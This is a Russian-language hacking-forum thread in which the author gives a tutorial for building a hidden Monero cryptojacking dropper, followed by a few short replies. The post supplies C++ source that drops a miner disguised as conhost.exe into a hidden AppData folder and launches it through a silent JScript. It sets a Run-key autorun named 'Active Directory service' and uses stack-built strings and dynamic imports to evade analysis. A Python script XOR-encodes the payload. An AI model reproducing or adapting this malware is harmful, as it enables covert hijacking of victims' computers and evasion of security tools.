Загрузка...

Hidden miner from shit and sticks in 15 minutes

Thread in Soft created by zhibyr May 1, 2017. 1020 views

  1. zhibyr
    zhibyr Topic starter May 1, 2017 Самец 50 Feb 18, 2017
    Не знаю сливалась ли эта тема сюда, но солью на всякий.
    Сегодня я вам покажу, как сделать скрытый майнер Monero из говна и палок, в прямом смысле этого слова. Так как вижу, что тема актуальна, особенно это понимают те, которые ****ят дедики, лол.

    Приступим.

    Часть 0. Необходимое

    1) Майнер Monero. Самый эффективный на данный момент от Wolf'а. Так сложилось, что майнинг алгоритмом cryptonight гораздо эффективнее на CPU, так как тот же Wolf в отличии от других алгоритмов юзает расширение команд AES

    _ttps://ru.minergate.com/altminers/cpuminer-multi-wolf

    2) Гейт на котором будем майниться. Заюзаем не требующий регистрации dwarfpool

    3) Visual Studio, скрипт bin2src и иммунитет к говнокоду

    Часть 1. Архитектура скрытого майнера

    Архитектура будет такой:

    x64 ****пер, который будет ****ать на авторан js скрипт, запускающий майнер в скрытом режиме. ****ать будет либо версию с поддержкой AES-расширения, либо без поддержки. Самоудаляться.

    То есть, порядок сборки:

    Пишем каркас ****ера, перегоняем файлы майнера в массив при помощи bin2src, компейлируем и распространяем, ловя кэш на булочки в столовке.

    Часть 2. ****пер

    ****ер будет прост как лопата. Определяем поддержку AES через cpuid и в зависимости от этого ****аем в аппдату определенные версии майнеров, ставим на авторан js файл который их будет врубать в скрытом режиме

    Напишем Скопипиздим функцию определяющую поддержку AES

    #include <intrin.h>
    ...
    BOOL aes() // вернет тру если поддерживает
    {
    int CPUInfo[4];
    __cpuid(CPUInfo, 1);
    return (CPUInfo[2] & (1 << 25)) != 0;
    }
    Далее научим ****ер блеваться майнерами в аппдату, для начала найдем эту самую аппдату:

    BOOL GetAppData(LPWSTR lpBuffer, DWORD dwSize)
    {
    WCHAR szAppData[] = { L'A', L'p', L'p', L'D', L'a', L't', L'a', L'\0' };
    DWORD dwRet = GetEnvironmentVariableW(szAppData, lpBuffer, dwSize);
    return ((dwRet > 0) && (dwRet <= dwSize));
    }
    Этот код получит из системной переменной путь до аппдаты и положит в lpBuffer размером dwSize, вернув true если все оки шмоки. Кстати, извращения с таким написанием аппдатой нужны для того, чтобы в той же IDA при просмотре строк не было видно AppData, так как в данном случае она собирается прямиком на стеке, либо при помощи mov, либо push ( в зависимости от флагов оптимизации )

    Шик, теперь прихуярим создание поддиректории в аппдате

    BOOL CreateSubdir(LPWSTR lpPath, LPWSTR lpDirName)
    {
    typedef BOOL (WINAPI *fnCreateDirectory)(
    _In_ LPWSTR lpPathName,
    _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes
    );

    CHAR szCreateDirectory[] = { 'C', 'r', 'e', 'a', 't', 'e', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'W', '\0' };
    WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };

    fnCreateDirectory fpCreateDirectory = (fnCreateDirectory)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateDirectory);

    if (!fpCreateDirectory)
    return FALSE;

    LPWSTR lpNewPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!lpNewPath)
    return FALSE;

    wsprintfW(lpNewPath, L"%s\\%s", lpPath, lpDirName);

    BOOL bRet = fpCreateDirectory(lpNewPath, 0);

    if (GetLastError() == ERROR_ALREADY_EXISTS)
    bRet = TRUE;

    VirtualFree(lpNewPath, 0, MEM_RELEASE);
    return bRet;

    }
    очевидно читатель уже изрядно охуел от такой сборки строк на стеке. Так что отвечу: нет, я не мазохист, за меня все делает этот збс самодельный скрипт



    Теперь осталось сделать код, который ****нет все это дело в созданную директорию

    HANDLE MyCreateFileW(LPWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwCreationDisposition)
    {
    typedef HANDLE (WINAPI *fnCreateFileW)(
    _In_ LPWSTR lpFileName,
    _In_ DWORD dwDesiredAccess,
    _In_ DWORD dwShareMode,
    _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    _In_ DWORD dwCreationDisposition,
    _In_ DWORD dwFlagsAndAttributes,
    _In_opt_ HANDLE hTemplateFile
    );

    WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
    CHAR szCreateFileW[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', '\0' };


    fnCreateFileW fpCreateFileW = (fnCreateFileW)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateFileW);

    if (!fpCreateFileW)
    return FALSE;

    return fpCreateFileW(lpFileName, dwDesiredAccess, FILE_SHARE_READ, 0, dwCreationDisposition, FILE_ATTRIBUTE_HIDDEN, 0);

    }

    BOOL MyWriteFile(HANDLE hFile, LPBYTE lpByteCode, DWORD dwSize)
    {
    typedef BOOL (WINAPI *fnWriteFile)(
    _In_ HANDLE hFile,
    _In_ LPVOID lpBuffer,
    _In_ DWORD nNumberOfBytesToWrite,
    _Out_opt_ LPDWORD lpNumberOfBytesWritten,
    _Inout_opt_ LPOVERLAPPED lpOverlapped
    );

    WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
    CHAR szWriteFile[] = { 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', '\0' };

    fnWriteFile fpWriteFile = (fnWriteFile)GetProcAddress(GetModuleHandleW(szKernelLib), szWriteFile);


    if (!fpWriteFile)
    return FALSE;

    DWORD dwWritten;
    return fpWriteFile(hFile, lpByteCode, dwSize, &dwWritten, 0);
    }

    BOOL DropArray(LPWSTR lpPath, LPWSTR lpName, LPBYTE lpByteCode, DWORD dwSize)
    {
    LPWSTR lpNewName = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!lpName)
    return FALSE;

    wsprintfW(lpNewName, L"%s\\%s", lpPath, lpName);

    BOOL bRet = FALSE;
    HANDLE hFile = MyCreateFileW(lpNewName, GENERIC_WRITE, CREATE_ALWAYS);

    if (hFile != INVALID_HANDLE_VALUE)
    {
    bRet = MyWriteFile(hFile, lpByteCode, dwSize);
    CloseHandle(hFile);
    }

    VirtualFree(lpNewName, 0, MEM_RELEASE);
    return bRet;
    }
    Ну и собрать воедино

    unsigned char lpMinerAes[] = { 0, 0 };
    unsigned char lpMinerNoAes[] = { 0, 0 };


    BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName)
    {
    BOOL bRet = FALSE;

    return bRet;
    }

    BOOL DropMiner(BOOL bAes)
    {
    LPWSTR lpPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!lpPath)
    return FALSE;

    BOOL bRet = FALSE;

    if (GetAppData(lpPath, 256))
    {
    if (CreateSubdir(lpPath, L"Runion"))
    {
    lstrcatW(lpPath, L"\\Runion");
    if (DropArray(lpPath, L"conhost.exe", ((bAes == TRUE) ? lpMinerAes : lpMinerNoAes),
    ((bAes == TRUE) ? sizeof(lpMinerAes) : sizeof(lpMinerNoAes))))
    {
    bRet = SetAutorun(lpPath, L"updater.js", L"conhost.exe");
    }

    }
    }

    VirtualFree(lpPath, 0, MEM_RELEASE);
    return bRet;
    }
    Осталось дописать SetAutorun, потом заглушки с lpMinerAes и lpMinerNoAes вынесем в отдельный header-файл, чтобы не мешались

    Честно говоря я уже начал лениться и поэтому дальнейшие действия без динамического импорта, все же статья не об этом ;D

    VOID MakeCorrection(LPWSTR out, LPWSTR in)
    {
    DWORD OutCounter = 0;
    for (DWORD inCounter = 0; inCounter < lstrlenW(in); inCounter++)
    {
    if (in[inCounter] == L'\\')
    {
    for (DWORD inter = 0; inter < 2; inter++)
    {
    out[OutCounter++] = L'\\';
    }
    }
    else
    {
    out[OutCounter++] = in[inCounter];
    }
    }
    out[OutCounter] = L'\0';
    }

    BOOL WriteJsInFile(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpFileName)
    {

    struct jsCorrect
    {
    WCHAR jsCorrect0[256];
    WCHAR lpNewName[256];
    WCHAR jscriptData[1024];
    };

    jsCorrect* lpjsc = (jsCorrect*)VirtualAlloc(0, sizeof(jsCorrect), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!lpjsc)
    return FALSE;


    BOOL bRet = FALSE;

    wsprintfW(lpjsc->lpNewName, L"%s\\%s", lpPath, lpAutorunName);

    HANDLE hFile = MyCreateFileW(lpjsc->lpNewName, GENERIC_WRITE, CREATE_ALWAYS);

    if (hFile != INVALID_HANDLE_VALUE)
    {

    MakeCorrection(lpjsc->jsCorrect0, lpPath);

    wsprintfW(lpjsc->jscriptData,
    L"var WSHShell = WScript.CreateObject(\"WScript.Shell\");WSHShell.Run('\"%s\\\\%s\" %s', 0);",
    lpjsc->jsCorrect0, lpFileName, L"-t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1"
    );

    bRet = MyWriteFile(hFile, (LPBYTE)lpjsc->jscriptData, lstrlenW(lpjsc->jscriptData) * 2);

    CloseHandle(hFile);

    }
    VirtualFree(lpjsc, 0, MEM_RELEASE);

    return bRet;
    }

    BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName)
    {
    BOOL bRet = FALSE;

    HKEY hKey;

    DWORD ret = RegCreateKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
    0, 0, 0, KEY_ALL_ACCESS, 0, &hKey, 0);
    if (ret == ERROR_SUCCESS)
    {


    if (WriteJsInFile(lpPath, lpAutorunName, lpMinerName))
    {
    LPWSTR lpAutorunPath = (LPWSTR)VirtualAlloc(0, 600, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (lpAutorunPath)
    {
    wsprintfW(lpAutorunPath, L"wscript.exe \"%s\\%s\"", lpPath, lpAutorunName);
    ret = RegSetValueExW(hKey, L"Active Directory service", 0, REG_SZ, (LPBYTE)lpAutorunPath, lstrlenW(lpAutorunPath) * 2);
    if (ret == ERROR_SUCCESS)
    {
    bRet = TRUE;
    }
    ShellExecuteW(0, L"open", lpAutorunPath, 0, 0, SW_SHOW);

    RegCloseKey(hKey);
    VirtualFree(lpAutorunPath, 0, MEM_RELEASE);
    }
    }
    }


    return bRet;
    }
    Собсна этот код ставит на авторан примерно следующее содержимое js:

    var WSHShell = WScript.CreateObject("WScript.Shell");WSHShell.Run('"C:\\Users\\USERNAME\\AppData\\Roaming\\Runion\\conhost.exe" -t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1', 0);
    И тут же врубает этот js, вместо YOUR_MONERO_WALLET нам нужно вписать наш кошелек монеро для майнинга, а на dwarfpool.com мы сможем мониторить хешрейт. Все вроде просто, да? [IMG]

    Осталось при помощи bin2src скрипта, слегка модифицированного мною чтобы он ксорил все на 0x05 байт перегнать версии майнеров в массивы

    bin2src

    import os,sys,re,struct

    def bin2src(s,name):
    s=bytearray(s)
    o=""
    o+=("static const unsigned char %s[]={" % name)
    for i in range(0,len(s)):
    if (i%32==0):
    o+=("\n")
    a = s
    a ^= 0x5
    o+=("0x%2.2X," % a)
    o+=("\n};\n")
    return o

    l=len(sys.argv)
    if l<3:
    print "Error: invalid argument\npython bin2src.py file.bin name file.c"
    sys.exit()
    f=open(sys.argv[1],"rb")
    data=f.read()
    f.close()

    name=sys.argv[2]
    fout=sys.argv[3]

    data=bin2src(data,name)
    f=open(fout,"wb+")
    f.write(data)
    f.close()
    print "Done"
    Перегоняем в массив, билдим и готово

    Не забываем сделать декрипт массива при старте софта и скачать при помощи, например, URLDownloadToFile необходимые дллки с любой файлопомойки с прямой ссылки ( например dropbox ).
     
  2. Fuck_Society
    Fuck_Society May 1, 2017 Banned 102 Jan 12, 2017
    ctrl + c - ctrl + v
     
  3. zhibyr
    zhibyr Topic starter May 1, 2017 Самец 50 Feb 18, 2017
    я работал только мышкой
     
  4. flnn_human
    flnn_human May 1, 2017 29 Feb 24, 2017
    перезалей на pastebin, ну или хоть под спойлеры
     
  5. FuckSad_inactive
    FuckSad_inactive May 1, 2017 Banned 382 Apr 1, 2017
Top
Loading...